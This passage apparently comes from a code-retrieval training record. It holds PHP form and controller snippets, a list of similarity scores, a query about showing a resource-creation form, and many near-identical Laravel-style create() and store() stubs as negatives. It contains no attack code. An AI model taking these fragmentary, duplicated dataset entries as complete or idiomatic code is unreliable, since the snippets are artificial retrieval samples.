$newRecordLink . \"' target='_blank'>\" . $newRecordLink . \"</a>\", $this->PushSuccessMessage));\n\n // Set the message in the session to this.\n $form->sessionMessage($successMessage, 'good', false);\n\n // Also add the link to the newly created record to an array in the session so we can display these on the form.\n // The links should be page specific which is why it ID is included.\n $createdRecords = Session::get('PostcardRecordsCreated_' . $this->ID);\n\n // If there are no records already in the current session then call function to check for the hidden fields on\n // the form which provide the information required to email a project coordinator, and if they exist sent an email.\n if (count($createdRecords) == 0) {\n $this->EmailCoordinator($data);\n }\n\n // Add the new reocrd to the created records array and then set back in the session.\n $createdRecords[] = $newRecordLink;\n Session::set('PostcardRecordsCreated_' . $this->ID, $createdRecords);\n\n // Return the user back to the form. The redirect back will take the user back to the form\n // with the original URL parameters which means the fields with parameters on the URL will be\n // populated again like they want.\n return $this->redirectBack();\n }\n }",
"function process_form()\n {\n }",
"function options_form() {\n return array(\n );\n }",
"public function getForm() {\n\t\treturn isset($this->attributes['form'])?$this->attributes['form']:null;\n\t}",
"function getFormParams() {\n\t\treturn $this->_formParams;\n\t}",
"function prfx_meta_callback( $post ) {\r\n wp_nonce_field( basename( __FILE__ ), 'prfx_nonce' );\r\n $prfx_stored_meta = get_post_meta( $post->ID );\r\n ?>\r\n \r\n <p>\r\n <label for=\"meta-text\" class=\"prfx-row-title\"><?php _e( 'Enter H1 Title Tag Here', 'prfx-textdomain' )?></label>\r\n <input type=\"text\" name=\"meta-text\" id=\"meta-text\" value=\"<?php if ( isset ( $prfx_stored_meta['meta-text'] ) ) echo $prfx_stored_meta['meta-text'][0]; ?>\" />\r\n </p>\r\n \r\n <?php\r\n}",
"function attachment_submit_meta_box($post)\n {\n }",
"function formHeader($action, $method=NULL, $formname=NULL){\r\n\t\t//find any referance uploading file and set form accordingly\r\n\t\t$columnBreakDown = explode(\"\\n\", $this->form);\r\n\r\n\t\tforeach ($columnBreakDown AS $value){\r\n\t\t\t$row = explode(\":\", $value);\r\n\t\t\tif ('upload' == trim(strtolower($row[2]))){\r\n\t\t\t\t$this->enctype=\"multipart/form-data\";\r\n\t\t\t\t$method = \"POST\";\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t//check if method is either GET or POST if not then set POST as default\r\n\t\t$method = trim(strtoupper($method));\r\n\t\tif($method != \"POST\" && $method != \"GET\" ){\r\n\t\t\t$method = \"POST\";\r\n\t\t}\r\n\r\n\t\t//remove any spaces from $formname as can not be used with spaces\r\n\t\t$formname = str_replace(\" \", '', $formname);\r\n\r\n\t\t$ret = '<form method=\"'.$method.'\" action=\"'.$action.'\"';\r\n\t\t$ret .=(!empty($formname))? ' name=\"'.$formname.'\" id=\"'.$formname.'\"' : '';\r\n\t\t$ret .=($this->enctype)? ' enctype=\"'.$this->enctype.'\"' : '';\r\n\t\t$ret .=($this->formScript)? ' onSubmit=\"'.$this->formScript.'\"' : '';\r\n\t\t$ret .= '>';\r\n\r\n\t\treturn $ret;\r\n\t}",
"protected function processMeta($control, $meta)\n\t {\n\t\tif($control instanceof TextInput && isset($meta['length'])) {\n\t\t $control->maxLenght = $meta['length'];\n\t\t}\n\t }",
"function getFormData(){\n\n}",
"public function extra_form_fields() {\n\t?>\n\t\t<tr valign=\"top\">\n\t\t\t<th scope=\"row\"><?php _e( 'Make slider featured randomly?', $this->textdomain ); ?></th>\n\t\t\t<td><input type=\"checkbox\" name=\"slider_featured\" value=\"1\" checked=\"checked\" /></td>\n\t\t</tr>\n\t<?php\n\t}",
"protected function setPostData()\n\t{\n\t\t$this->request->addPostFields($this->query->getParams());\n\t}",
"function ctools_ads_include_page_content_type_edit_form_submit($form, &$form_state) {\n foreach (array('page_name') as $key) {\n $form_state['conf'][$key] = $form_state['values'][$key];\n }\n}",
"protected function getPostValues() {}",
"public function meta_box_html() {\r\n // Use nonce for verification\r\n wp_nonce_field( plugin_basename( __FILE__ ), self::NONCE_KEY );\r\n $old_meta_value = get_post_meta(get_the_ID(), self::URL_META_KEY, true);\r\n\r\n $key = self::URL_META_KEY;\r\n\r\n $html = <<<EOT\r\n<label for=\"$key\">The address of the downloadable resource</label>\r\n<input type=\"text\" id=\"$key\" name=\"$key\" placeholder=\"Paste it in or click the button below\" style=\"width:100%\" value=\"$old_meta_value\" />\r\n<a href=\"#\" id=\"ah-dl-res-upload\" class=\"button-primary\" style=\"margin-top:10px\">Upload or Select Resource</a>\r\nEOT;\r\n echo $html;\r\n }",
"public function getMeta()\n {\n return $this->getValue('meta');\n }",
"public function getMeta()\n {\n return $this->getValue('meta');\n }",
"protected function getFormProtection() {}",
"protected function getFormProtection() {}",
"function qw_meta_value_form_callback( $field ) {\n\t$separator = ( isset( $field['values']['meta_value_separator'] ) ) ? $field['values']['meta_value_separator'] : '';\n\t$count = ( isset( $field['values']['meta_value_count'] ) ) ? (int) $field['values']['meta_value_count'] : 1;\n\t$display_handlers = apply_filters( 'qw_meta_value_display_handlers',\n\t\tarray() );\n\t$are_image_ids = isset( $field['values']['are_image_ids'] ) ? 'checked=\"checked\"' : '';\n\t$image_styles = get_intermediate_image_sizes();\n\t?>\n\t<div>\n\t\t<label>Count:</label> <input type=\"text\"\n\t\t name=\"<?php print $field['form_prefix']; ?>[meta_value_count]\"\n\t\t value=\"<?php print $count; ?>\"/>\n\n\t\t<p class=\"description\">Number of the meta values to show. User '0' for\n\t\t\tall values.</p>\n\t</div>\n\t<div>\n\t\t<label>Separator:</label> <input type=\"text\"\n\t\t name=\"<?php print $field['form_prefix']; ?>[meta_value_separator]\"\n\t\t value=\"<?php print $separator;?>\"/>\n\n\t\t<p class=\"description\">How to separate the meta values (if more than\n\t\t\t1).</p>\n\t</div>\n\t<div>\n\t\t<label class=\"qw-label\">Display Handler:</label>\n\t\t<select class='qw-js-title'\n\t\t name='<?php print $field['form_prefix']; ?>[display_handler]'>\n\t\t\t<?php\n\t\t\tforeach ( $display_handlers as $handler => $details ) {\n\t\t\t\t$handler_selected = ( $field['values']['display_handler'] == $handler ) ? 'selected=\"selected\"' : '';\n\t\t\t\t?>\n\t\t\t\t<option\n\t\t\t\t\tvalue=\"<?php print $handler; ?>\" <?php print $handler_selected; ?>><?php print $details['title']; ?></option>\n\t\t\t<?php\n\t\t\t}\n\t\t\t?>\n\t\t</select>\n\n\t\t<p class=\"description\">Select the method fo displaying the meta value.\n\t\t\tTo display the raw value, choose '-none-'.</p>\n\t</div>\n\t<div>\n\t\t<label><input type=\"checkbox\"\n\t\t name=\"<?php print $field['form_prefix']; ?>[are_image_ids]\" <?php print $are_image_ids; ?> />Load\n\t\t\tImage IDs as Images</label>\n\n\t\t<p class=\"description\">If the meta value returned from the display\n\t\t\thandler as an image ID, display the image HTML.</p>\n\n\t\t<label class=\"qw-label\">Image Display Style:</label>\n\t\t<select class='qw-js-title'\n\t\t name='<?php print $field['form_prefix']; ?>[image_display_style]'>\n\t\t\t<?php\n\t\t\tforeach ( $image_styles as $key => $style ) {\n\t\t\t\t$style_selected = ( $field['values']['image_display_style'] == $style ) ? 'selected=\"selected\"' : '';\n\t\t\t\t?>\n\t\t\t\t<option\n\t\t\t\t\tvalue=\"<?php print $style; ?>\" <?php print $style_selected; ?>><?php print $style; ?></option>\n\t\t\t<?php\n\t\t\t}\n\t\t\t?>\n\t\t</select>\n\n\t\t<p class=\"description\">If the meta value is an Image ID, select the\n\t\t\tstyle for display.</p>\n\t</div>\n\t<?php\n\n\tif ( function_exists( 'get_custom_field' ) ) {\n\t\t$chaining = ( isset( $field['values']['cctm_chaining'] ) ) ? $field['values']['cctm_chaining'] : '';\n\t\t?>\n\t\t<div>\n\t\t\t<label>CCTM Output Filters:</label> <input type=\"text\"\n\t\t\t name=\"<?php print $field['form_prefix']; ?>[cctm_chaining]\"\n\t\t\t value=\"<?php print $chaining; ?>\"\n\t\t\t ;/>\n\n\t\t\t<p class=\"description\">Include first colon. ex, \":filter1:filter2\".\n\t\t\t\tOr to get image IDs from an image field, \":raw\". <a\n\t\t\t\t\ttarget=\"_blank\"\n\t\t\t\t\thref=\"http://code.google.com/p/wordpress-custom-content-type-manager/wiki/OutputFilters#Chaining\">CCTM\n\t\t\t\t\tFilter Chaining</a></p>\n\t\t</div>\n\t<?php\n\t}\n}",
"protected function getFormProtection() {}",
"function dumpFormItems()\r\n {\r\n if($this->_onclick != null)\r\n {\r\n $hiddenwrapperfield = $this->readJSWrapperHiddenFieldName();\r\n echo \"<input type=\\\"hidden\\\" id=\\\"$hiddenwrapperfield\\\" name=\\\"$hiddenwrapperfield\\\" value=\\\"\\\" />\";\r\n }\r\n }",
"function dumpFormItems()\r\n {\r\n if($this->_onclick != null)\r\n {\r\n $hiddenwrapperfield = $this->readJSWrapperHiddenFieldName();\r\n echo \"<input type=\\\"hidden\\\" id=\\\"$hiddenwrapperfield\\\" name=\\\"$hiddenwrapperfield\\\" value=\\\"\\\" />\";\r\n }\r\n }",
"function the_block_editor_meta_box_post_form_hidden_fields($post)\n {\n }"
]
| [
"0.62123066",
"0.60725176",
"0.60230136",
"0.60112864",
"0.6004671",
"0.59533215",
"0.59297556",
"0.5924519",
"0.5924384",
"0.59097797",
"0.58504087",
"0.5819724",
"0.58065116",
"0.5793837",
"0.57770586",
"0.573061",
"0.57003295",
"0.5684522",
"0.5683484",
"0.56742996",
"0.5670888",
"0.56643754",
"0.5658936",
"0.5656827",
"0.5631938",
"0.5630443",
"0.5606311",
"0.55946285",
"0.559266",
"0.5592533",
"0.55630636",
"0.55575216",
"0.553389",
"0.55257374",
"0.5513373",
"0.5513373",
"0.54979116",
"0.5489881",
"0.5487786",
"0.54830164",
"0.54829574",
"0.5481584",
"0.5478731",
"0.54744554",
"0.54485977",
"0.5445324",
"0.5439363",
"0.5436499",
"0.54342616",
"0.54340005",
"0.5430756",
"0.54305714",
"0.54192764",
"0.5406993",
"0.5399304",
"0.53893244",
"0.53892034",
"0.53833133",
"0.5376131",
"0.5375304",
"0.53711426",
"0.53682655",
"0.53619385",
"0.5346697",
"0.53437424",
"0.53414106",
"0.53396523",
"0.5336723",
"0.53291816",
"0.5328726",
"0.5327637",
"0.53246963",
"0.5322649",
"0.5320048",
"0.5319713",
"0.53196716",
"0.53179985",
"0.52996767",
"0.5299663",
"0.52914834",
"0.5287436",
"0.52821755",
"0.5280655",
"0.5275667",
"0.52719504",
"0.52717984",
"0.52668494",
"0.52637637",
"0.5260305",
"0.52584755",
"0.52455777",
"0.52444905",
"0.52406514",
"0.52406514",
"0.523928",
"0.523928",
"0.52363384",
"0.52350855",
"0.5232735",
"0.5232735",
"0.5232557"
]
| 0.0 | -1 |
Show the form for creating a new resource. | public function create()
{
//
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return view('admin.resources.create');\n }",
"public function create(){\n\n return view('resource.create');\n }",
"public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}",
"public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }",
"public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }",
"public function create()\n {\n return view ('forms.create');\n }",
"public function create ()\n {\n return view('forms.create');\n }",
"public function create()\n\t{\n\t\treturn view('faith.form');\n\t}",
"public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }",
"public function create()\n {\n return view(\"request_form.form\");\n }",
"public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }",
"public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle école'\n\t\t) ) );\n\t}",
"public function create()\n {\n return view($this->forms . '.create');\n }",
"public function create()\n {\n return view('restful.add');\n }",
"public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }",
"public function create()\n {\n return view('admin.createform');\n }",
"public function create()\n {\n return view('admin.forms.create');\n }",
"public function create()\n {\n return view('backend.student.form');\n }",
"public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }",
"public function create()\n {\n return view('client.form');\n }",
"public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }",
"public function create()\n {\n return view('Form');\n }",
"public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }",
"public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}",
"public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }",
"public function create()\n {\n return view('backend.schoolboard.addform');\n }",
"public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}",
"public function create()\n {\n //\n return view('form');\n }",
"public function create()\n {\n return view('rests.create');\n }",
"public function create()\n {\n return $this->showForm();\n }",
"public function create()\n {\n return $this->showForm();\n }",
"public function create()\n {\n return view(\"Add\");\n }",
"public function create(){\n return view('form.create');\n }",
"public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }",
"public function create()\n {\n\n return view('control panel.student.add');\n\n }",
"public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}",
"public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }",
"public function create()\n {\n return $this->cView(\"form\");\n }",
"public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }",
"public function create()\n {\n return view(\"dresses.form\");\n }",
"public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}",
"public function createAction()\n {\n// $this->view->form = $form;\n }",
"public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }",
"public function create()\n {\n return view('fish.form');\n }",
"public function create()\n {\n return view('users.forms.create');\n }",
"public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }",
"public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}",
"public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }",
"public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }",
"public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }",
"public function create()\n {\n return view('essentials::create');\n }",
"public function create()\n {\n return view('student.add');\n }",
"public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}",
"public function create()\n {\n return view('url.form');\n }",
"public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }",
"public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}",
"public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }",
"public function create()\n {\n return view('libro.create');\n }",
"public function create()\n {\n return view('libro.create');\n }",
"public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n return view('crud/add'); }",
"public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}",
"public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n return view(\"List.form\");\n }",
"public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}",
"public function create()\n {\n //load create form\n return view('products.create');\n }",
"public function create()\n {\n return view('article.addform');\n }",
"public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }",
"public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}",
"public function create()\n {\n return view('saldo.form');\n }",
"public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}",
"public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }",
"public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }",
"public function create()\n {\n return view('admin.inverty.add');\n }",
"public function create()\n {\n return view('Libro.create');\n }",
"public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }",
"public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }",
"public function create()\n {\n return view(\"familiasPrograma.create\");\n }",
"public function create()\n {\n return view('admin.car.create');\n }",
"public function create()\n {\n return view('admin.car.create');\n }",
"public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}",
"public function create()\n {\n return view(\"create\");\n }",
"public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}",
"public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }",
"public function create()\n {\n return view('forming');\n }",
"public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }",
"public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }",
"public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }",
"public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }",
"public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }",
"public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}",
"public function create()\n {\n return view('student::students.student.create');\n }",
"public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}"
]
| [
"0.75948673",
"0.75948673",
"0.75863165",
"0.7577412",
"0.75727344",
"0.7500887",
"0.7434847",
"0.7433956",
"0.73892003",
"0.73531085",
"0.73364776",
"0.73125",
"0.7296102",
"0.7281891",
"0.72741455",
"0.72424185",
"0.7229325",
"0.7226713",
"0.7187349",
"0.7179176",
"0.7174283",
"0.7150356",
"0.71444064",
"0.71442676",
"0.713498",
"0.71283126",
"0.7123691",
"0.71158516",
"0.71158516",
"0.71158516",
"0.7112176",
"0.7094388",
"0.7085711",
"0.708025",
"0.70800644",
"0.70571953",
"0.70571953",
"0.70556754",
"0.70396435",
"0.7039549",
"0.7036275",
"0.703468",
"0.70305896",
"0.7027638",
"0.70265305",
"0.70199823",
"0.7018007",
"0.7004984",
"0.7003889",
"0.7000935",
"0.69973785",
"0.6994679",
"0.6993764",
"0.6989918",
"0.6986989",
"0.6966502",
"0.69656384",
"0.69564354",
"0.69518244",
"0.6951109",
"0.6947306",
"0.69444615",
"0.69423944",
"0.6941156",
"0.6937871",
"0.6937871",
"0.6936686",
"0.69345254",
"0.69318026",
"0.692827",
"0.69263744",
"0.69242257",
"0.6918349",
"0.6915889",
"0.6912884",
"0.691146",
"0.69103104",
"0.69085974",
"0.69040126",
"0.69014287",
"0.69012105",
"0.6900397",
"0.68951064",
"0.6893521",
"0.68932164",
"0.6891899",
"0.6891616",
"0.6891616",
"0.6889246",
"0.68880934",
"0.6887128",
"0.6884732",
"0.68822503",
"0.68809193",
"0.6875949",
"0.68739206",
"0.68739134",
"0.6870358",
"0.6869779",
"0.68696856",
"0.686877"
]
| 0.0 | -1 |
Store a newly created resource in storage. | public function store(Request $request)
{
//
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function store($data, Resource $resource);",
"public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }",
"public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }",
"public function createStorage();",
"public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }",
"public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }",
"public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }",
"function storeAndNew() {\n $this->store();\n }",
"public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }",
"public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }",
"public function store()\n\t{\n\t\t\n\t\t//\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
